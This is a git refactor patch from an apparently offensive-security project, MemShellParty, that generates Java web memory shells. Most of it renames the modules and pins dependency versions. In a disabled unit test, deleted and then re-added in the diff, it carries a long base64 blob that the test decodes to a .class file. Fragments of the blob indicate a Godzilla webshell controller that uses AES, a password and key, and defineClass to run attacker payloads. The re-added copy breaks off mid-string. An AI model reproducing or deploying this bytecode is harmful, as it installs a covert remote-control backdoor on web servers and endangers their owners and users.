From e05d8ac10655255bf185f6444e81633e5935cfc1 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 6 Apr 2025 11:19:57 +0800 Subject: [PATCH] refactor: rename modules --- build.gradle | 4 ++-- .../reajason/javaweb/util/ClassUtilsTest.java | 23 ------------------- deserialize/build.gradle | 2 +- generator/build.gradle | 2 +- integration-test/build.gradle | 2 +- {bom => memshell-party-bom}/build.gradle | 16 ++++++++----- .../build.gradle | 7 ++---- .../reajason/javaweb/ClassBytesShrink.java | 0 .../javaweb/asm/ClassRenameUtils.java | 0 .../javaweb/asm/InnerClassDiscovery.java | 0 .../buddy/ByPassJavaModuleInterceptor.java | 0 .../buddy/ClassRenameVisitorWrapper.java | 0 .../ClinitRemovingAsmVisitorWrapper.java | 0 .../buddy/LdcReAssignVisitorWrapper.java | 0 .../javaweb/buddy/LogRemoveMethodVisitor.java | 0 .../MethodCallReplaceVisitorWrapper.java | 0 .../buddy/ServletRenameVisitorWrapper.java | 0 .../buddy/TargetJreVersionVisitorWrapper.java | 0 .../reajason/javaweb/util/ClassDefiner.java | 0 .../com/reajason/javaweb/util/ClassUtils.java | 0 .../MethodCallReplaceVisitorWrapperTest.java | 0 .../reajason/javaweb/util/ClassUtilsTest.java | 23 +++++++++++++++++++ settings.gradle | 6 ++--- tools/ant-sword/build.gradle | 2 +- tools/behinder/build.gradle | 2 +- tools/godzilla/build.gradle | 2 +- tools/suo5/build.gradle | 2 +- 27 files changed, 47 insertions(+), 46 deletions(-) delete mode 100644 common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java rename {bom => memshell-party-bom}/build.gradle (68%) rename {common => memshell-party-common}/build.gradle (88%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/ClassBytesShrink.java (100%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java (100%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java (100%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java (100%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java (100%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java (100%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/buddy/LdcReAssignVisitorWrapper.java (100%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java (100%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java (100%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java (100%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java (100%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/util/ClassDefiner.java (100%) rename {common => memshell-party-common}/src/main/java/com/reajason/javaweb/util/ClassUtils.java (100%) rename {common => memshell-party-common}/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java (100%) create mode 100644 memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java diff --git a/build.gradle b/build.gradle index 16934739..64b7ce37 100644 --- a/build.gradle +++ b/build.gradle @@ -7,9 +7,9 @@ allprojects { apply(plugin: 'jacoco') } - if (it.name != 'bom' && !it.name.startsWith("vul")) { + if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) { dependencies { - implementation platform(project(':bom')) + implementation platform(project(':memshell-party-bom')) } } diff --git a/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java b/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java deleted file mode 100644 index 391ce81b..00000000 --- a/common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.reajason.javaweb.util; - -import org.apache.commons.codec.binary.Base64; -import org.junit.jupiter.api.Disabled; -import org.junit.jupiter.api.Test; - -import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Paths; - -/** - * @author ReaJason - * @since 2024/12/22 - */ -class ClassUtilsTest { - - @Test - @Disabled - void testBase64() throws IOException { - byte[] bytes = Base64.decodeBase64("yv66vgAAADQBMgoAUgCfCACgCQA7AKEIAKIJADsAowoAUgCkBwClCgAHAJ8JADsApgoABwCnCQA7AKgKAAcAqQoAOwCqCQA7AKsIAKwKAK0ArgoAJACvCgAkALAKAK0AsQcAsgoArQCzCgAUALQKABQAtQoAJAC2BwC3CAC4CgAhALkIALoKACEAuwoAvAC9CgAjAL4IAL8HAMAHAHUHAMEHAMIIAMMKACEAxAgAxQgAxggAxwgAyAgAyQoAUgDKCADLCgDMAM0HAM4KAC8AzwoAzADQCgDMANELANIA0woAJADUCwDSANULANIA1goAOwDXCgA7ANgIANkLANoA2wcA3AoAIQDdCgA7AKQKADsA3gsA2gDfCADgCwDSAN8HAOEKAEIAnwcA4gcA4wcA5AoARgDlCgAjAOYLAOcA6AoAJADpCgDqAOsKACMAqQoAQgDsCgA7AO0KACQA7ggAVggA7wcA8AcA8QEAA21kNQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANrZXkBAApoZWFkZXJOYW1lAQALaGVhZGVyVmFsdWUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEALkxvcmcvZXhhbXBsZS9zcHJpbmcvR29kemlsbGFDb250cm9sbGVySGFuZGxlcjsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABnBhcmVudAEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcAwgcAtwEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAZiYXNlNjQBABFMamF2YS9sYW5nL0NsYXNzOwEAB0VuY29kZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAR2YXI2AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAJbQgEABXZhbHVlAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAKRXhjZXB0aW9ucwEACWI2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEdmFyNAEAAVoHANwHAPIBAA1oYW5kbGVSZXF1ZXN0AQB/KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAAWYBAAFlAQAoTGphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uOwEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAdzZXNzaW9uAQAgTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAARkYXRhAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwcA8wcA9AcA9QcA4QcA9gcAwQEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAHkdvZHppbGxhQ29udHJvbGxlckhhbmRsZXIuamF2YQwAWgBbAQAKVXNlci1BZ2VudAwAWABVAQAaU3ByaW5nX0dvZHppbGxhX0NvbnRyb2xsZXIMAFkAVQwAWgBhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAFYAVQwA9wD4DABXAFUMAPkA+gwAVABkDABUAFUBAANNRDUHAPsMAPwA/QwA/gD/DAEAAQEMAQIBAwEAFGphdmEvbWF0aC9CaWdJbnRlZ2VyDAEEAP8MAFoBBQwA+QEGDAEHAPoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAwBCAEJAQAKZ2V0RW5jb2RlcgwBCgELBwEMDAENAQ4MAQ8BEAEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAERARIBAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBEwEUAQADQUVTBwDyDAD8ARUBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDABaARYMARcBGAwBGQEaBwD0DAEbAGQMARwBHQwBHgEfDAEgAGQMAHoAewwAgACBAQAHcGF5bG9hZAcA8wwBIQEiAQAsb3JnL2V4YW1wbGUvc3ByaW5nL0dvZHppbGxhQ29udHJvbGxlckhhbmRsZXIMASMBJAwAfQB+DAElASYBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAFoBJwwBKAEpBwD1DAEqASsMASwBLQcBLgwBLwEwDAExAP8MAGwAbQwBLAEGAQAQM2M2ZTBiOGE5YzE1MjI0YQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEALm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL0NvbnRyb2xsZXIBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YS9sYW5nL1JlZmxlY3RpdmVPcGVyYXRpb25FeGNlcHRpb24BAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABihbQilbQgEACWdldEhlYWRlcgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0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"); - Files.write(Paths.get("xix.class"), bytes); - } -} \ No newline at end of file diff --git a/deserialize/build.gradle b/deserialize/build.gradle index 47b32179..f200f8d4 100644 --- a/deserialize/build.gradle +++ b/deserialize/build.gradle @@ -6,7 +6,7 @@ group = 'com.reajason.javaweb' version = rootProject.version dependencies { - implementation project(":common") + implementation project(":memshell-party-common") implementation 'net.bytebuddy:byte-buddy' implementation 'com.caucho:hessian:4.0.66' diff --git a/generator/build.gradle b/generator/build.gradle index db47e44a..cd3639ed 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -33,7 +33,7 @@ test { } dependencies { - implementation project(":common") + implementation project(":memshell-party-common") implementation project(":deserialize") implementation project(":memshell") diff --git a/integration-test/build.gradle b/integration-test/build.gradle index 01ec0eca..752eb538 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -7,7 +7,7 @@ version = rootProject.version dependencies { testImplementation project(":vul:vul-webapp") - testImplementation project(":common") + testImplementation project(":memshell-party-common") testImplementation project(":tools:behinder") testImplementation project(":tools:godzilla") testImplementation project(":tools:suo5") diff --git a/bom/build.gradle b/memshell-party-bom/build.gradle similarity index 68% rename from bom/build.gradle rename to memshell-party-bom/build.gradle index 17f944ee..1dd5f085 100644 --- a/bom/build.gradle +++ b/memshell-party-bom/build.gradle @@ -2,6 +2,10 @@ plugins { id 'java-platform' } +group = "io.github.reajason" +description = "This Bill of Materials POM can be used to ease dependency management when referencing multiple MemShellParty artifacts using Gradle or Maven." +version = rootProject.version + dependencies { constraints { api 'net.bytebuddy:byte-buddy:1.17.5' @@ -15,15 +19,15 @@ dependencies { api 'org.springframework:spring-webflux:5.3.24' api 'io.projectreactor.netty:reactor-netty-core:1.1.25' - api 'commons-io:commons-io:2.+' - api 'org.apache.commons:commons-lang3:3.+' - api 'commons-codec:commons-codec:1.+' - api 'ch.qos.logback:logback-classic:1.+' + api 'commons-io:commons-io:2.18.0' + api 'org.apache.commons:commons-lang3:3.17.0' + api 'commons-codec:commons-codec:1.18.0' + api 'ch.qos.logback:logback-classic:1.5.18' api 'org.apache.bcel:bcel:5.2' api 'org.java-websocket:Java-WebSocket:1.5.7' - api 'com.squareup.okhttp3:okhttp:4.+' + api 'com.squareup.okhttp3:okhttp:4.12.0' api 'com.alibaba.fastjson2:fastjson2:2.0.53' api 'org.jetbrains:annotations:26.0.1' @@ -35,4 +39,4 @@ dependencies { api 'org.testcontainers:testcontainers:1.20.5' api 'org.testcontainers:junit-jupiter:1.20.5' } -} +} \ No newline at end of file diff --git a/common/build.gradle b/memshell-party-common/build.gradle similarity index 88% rename from common/build.gradle rename to memshell-party-common/build.gradle index f5de88d2..657b56b2 100644 --- a/common/build.gradle +++ b/memshell-party-common/build.gradle @@ -1,8 +1,5 @@ -plugins { - id "io.freefair.lombok" version "8.11" -} - -group = 'com.reajason.javaweb' +group = 'io.github.reajason' +description = "Common Utilities for MemShellParty" version = rootProject.version java { diff --git a/common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java b/memshell-party-common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/ClassBytesShrink.java diff --git a/common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java diff --git a/common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/asm/InnerClassDiscovery.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ClassRenameVisitorWrapper.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ClinitRemovingAsmVisitorWrapper.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/LdcReAssignVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/LdcReAssignVisitorWrapper.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/LdcReAssignVisitorWrapper.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/LdcReAssignVisitorWrapper.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapper.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java diff --git a/common/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/buddy/TargetJreVersionVisitorWrapper.java diff --git a/common/src/main/java/com/reajason/javaweb/util/ClassDefiner.java b/memshell-party-common/src/main/java/com/reajason/javaweb/util/ClassDefiner.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/util/ClassDefiner.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/util/ClassDefiner.java diff --git a/common/src/main/java/com/reajason/javaweb/util/ClassUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/util/ClassUtils.java similarity index 100% rename from common/src/main/java/com/reajason/javaweb/util/ClassUtils.java rename to memshell-party-common/src/main/java/com/reajason/javaweb/util/ClassUtils.java diff --git a/common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java similarity index 100% rename from common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java rename to memshell-party-common/src/test/java/com/reajason/javaweb/buddy/MethodCallReplaceVisitorWrapperTest.java diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java new file mode 100644 index 00000000..cd4f7e91 --- /dev/null +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.util; + +import java.util.Base64;; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Paths; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +class ClassUtilsTest { + + @Test + @Disabled + void testBase64() throws IOException { + byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQBMgoAUgCfCACgCQA7AKEIAKIJADsAowoAUgCkBwClCgAHAJ8JADsApgoABwCnCQA7AKgKAAcAqQoAOwCqCQA7AKsIAKwKAK0ArgoAJACvCgAkALAKAK0AsQcAsgoArQCzCgAUALQKABQAtQoAJAC2BwC3CAC4CgAhALkIALoKACEAuwoAvAC9CgAjAL4IAL8HAMAHAHUHAMEHAMIIAMMKACEAxAgAxQgAxggAxwgAyAgAyQoAUgDKCADLCgDMAM0HAM4KAC8AzwoAzADQCgDMANELANIA0woAJADUCwDSANULANIA1goAOwDXCgA7ANgIANkLANoA2wcA3AoAIQDdCgA7AKQKADsA3gsA2gDfCADgCwDSAN8HAOEKAEIAnwcA4gcA4wcA5AoARgDlCgAjAOYLAOcA6AoAJADpCgDqAOsKACMAqQoAQgDsCgA7AO0KACQA7ggAVggA7wcA8AcA8QEAA21kNQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANrZXkBAApoZWFkZXJOYW1lAQALaGVhZGVyVmFsdWUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEALkxvcmcvZXhhbXBsZS9zcHJpbmcvR29kemlsbGFDb250cm9sbGVySGFuZGxlcjsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABnBhcmVudAEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2F